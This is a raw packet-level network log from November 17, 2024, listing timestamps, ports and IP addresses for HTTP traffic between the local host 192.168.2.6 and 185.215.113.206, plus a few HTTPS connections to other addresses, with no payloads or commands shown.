Nov 17, 2024 10:07:39.824425936 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.824426889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.824439049 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.824455976 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.824476004 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.824517012 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.827163935 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827213049 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827238083 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827255964 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.827261925 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827280998 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.827281952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827295065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827307940 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827317953 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.827342033 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.827357054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827366114 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.827368975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827380896 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827393055 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827394962 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.827405930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827418089 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.827447891 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.827482939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827495098 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827506065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827518940 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827533960 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.827533960 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827545881 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.827606916 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.827606916 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.827639103 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.828142881 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.828155041 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.828166962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.828182936 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.828198910 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.828269958 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.828341961 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.840481043 CET	443	49935	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:39.880289078 CET	49935	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:39.880316973 CET	443	49935	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:39.882437944 CET	49932	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:39.882616043 CET	443	49932	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:39.885348082 CET	443	49935	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:39.885530949 CET	49935	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:39.939996004 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.940018892 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.940078020 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.940078020 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.954750061 CET	49934	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:39.954787970 CET	443	49934	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:39.976752996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.976815939 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.976826906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.976850033 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.976861954 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.976867914 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.976874113 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.976900101 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.976936102 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.976953030 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.976965904 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.976979017 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.976989985 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977000952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977004051 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977029085 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977045059 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977070093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977178097 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977231026 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977241993 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977263927 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977286100 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977297068 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977308989 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977308989 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977308989 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977335930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977336884 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977349043 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977364063 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977379084 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977389097 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977400064 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977421045 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977444887 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977459908 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977493048 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977633953 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977658033 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977669954 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977680922 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977694035 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977698088 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977705956 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977719069 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977720976 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977730036 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977735996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977735996 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977772951 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977868080 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977902889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977905035 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977921963 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977936983 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977941036 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977952003 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977957010 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.977972031 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.977993011 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.978012085 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978048086 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978049994 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.978075027 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978087902 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978091002 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.978110075 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.978127003 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.978152990 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978199005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978244066 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.978259087 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978270054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978291035 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978300095 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.978301048 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978315115 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978326082 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.978332996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978357077 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.978369951 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.978440046 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978451014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978461981 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978478909 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.978496075 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.978503942 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.978594065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978667021 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978678942 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978688955 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978701115 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978707075 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.978723049 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978733063 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.978735924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978751898 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978751898 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.978763103 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.978775024 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.978807926 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.981923103 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.981937885 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.981969118 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.981980085 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982001066 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982023954 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982105970 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982116938 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982145071 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982156038 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982160091 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982170105 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982181072 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982187986 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982199907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982213020 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982218027 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982227087 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982239008 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982251883 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982264042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982273102 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982273102 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982273102 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982276917 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982311010 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982332945 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982450962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982462883 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982475042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982502937 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982530117 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982530117 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982542038 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982554913 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982568979 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982590914 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982621908 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982631922 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982701063 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982712984 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982742071 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982762098 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982773066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982779980 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982788086 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982805014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982815981 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982825041 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982857943 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982872963 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982888937 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982923031 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982935905 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982944965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.982969999 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.982999086 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.984965086 CET	49932	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:39.984972954 CET	443	49932	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:40.017996073 CET	49950	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.018028021 CET	443	49950	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:40.018110991 CET	49950	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.025271893 CET	49932	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:40.025377035 CET	49932	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:40.025455952 CET	443	49932	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:40.026907921 CET	49933	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:40.027466059 CET	443	49933	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:40.047538996 CET	49935	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:40.047604084 CET	49933	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:40.047626972 CET	443	49933	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:40.047902107 CET	443	49935	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:40.051681042 CET	49935	443	192.168.2.6	23.96.180.189
Nov 17, 2024 10:07:40.051717997 CET	443	49935	23.96.180.189	192.168.2.6
Nov 17, 2024 10:07:40.057070971 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.057132959 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.057142973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.057152987 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.057179928 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.057219028 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.057240009 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.057249069 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.057285070 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.057303905 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.075083017 CET	49951	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:40.075130939 CET	443	49951	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:40.075203896 CET	49951	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:40.093920946 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.094018936 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.108174086 CET	49951	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:40.108200073 CET	443	49951	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:40.109004974 CET	49950	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:40.109019995 CET	443	49950	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:40.131767988 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.131789923 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.131808996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.131861925 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.131948948 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.131987095 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132005930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132021904 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132033110 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132054090 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132066965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132077932 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132088900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132097006 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132097006 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132100105 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132112980 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132126093 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132128000 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132139921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132153988 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132170916 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132183075 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132184982 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132184982 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132205963 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132208109 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132230043 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132247925 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132246971 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132261038 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132268906 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132273912 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132286072 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132297993 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132323027 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132323980 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132323027 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132338047 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132349968 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132350922 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132361889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132371902 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132375956 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132389069 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132395029 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132402897 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132414103 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132426977 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132426977 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132438898 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132450104 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132462978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132462978 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132486105 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132498980 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132514954 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132523060 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132523060 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132525921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.132523060 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132565975 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132585049 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.132884979 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133040905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133052111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133054018 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133064985 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133079052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133090973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133101940 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133102894 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133115053 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133125067 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133136034 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133140087 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133148909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133171082 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133192062 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133232117 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133249998 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133260965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133271933 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133282900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133294106 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133297920 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.133306026 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133318901 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133323908 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.133323908 CET	49892	80	192.168.2.6	185.215.113.206
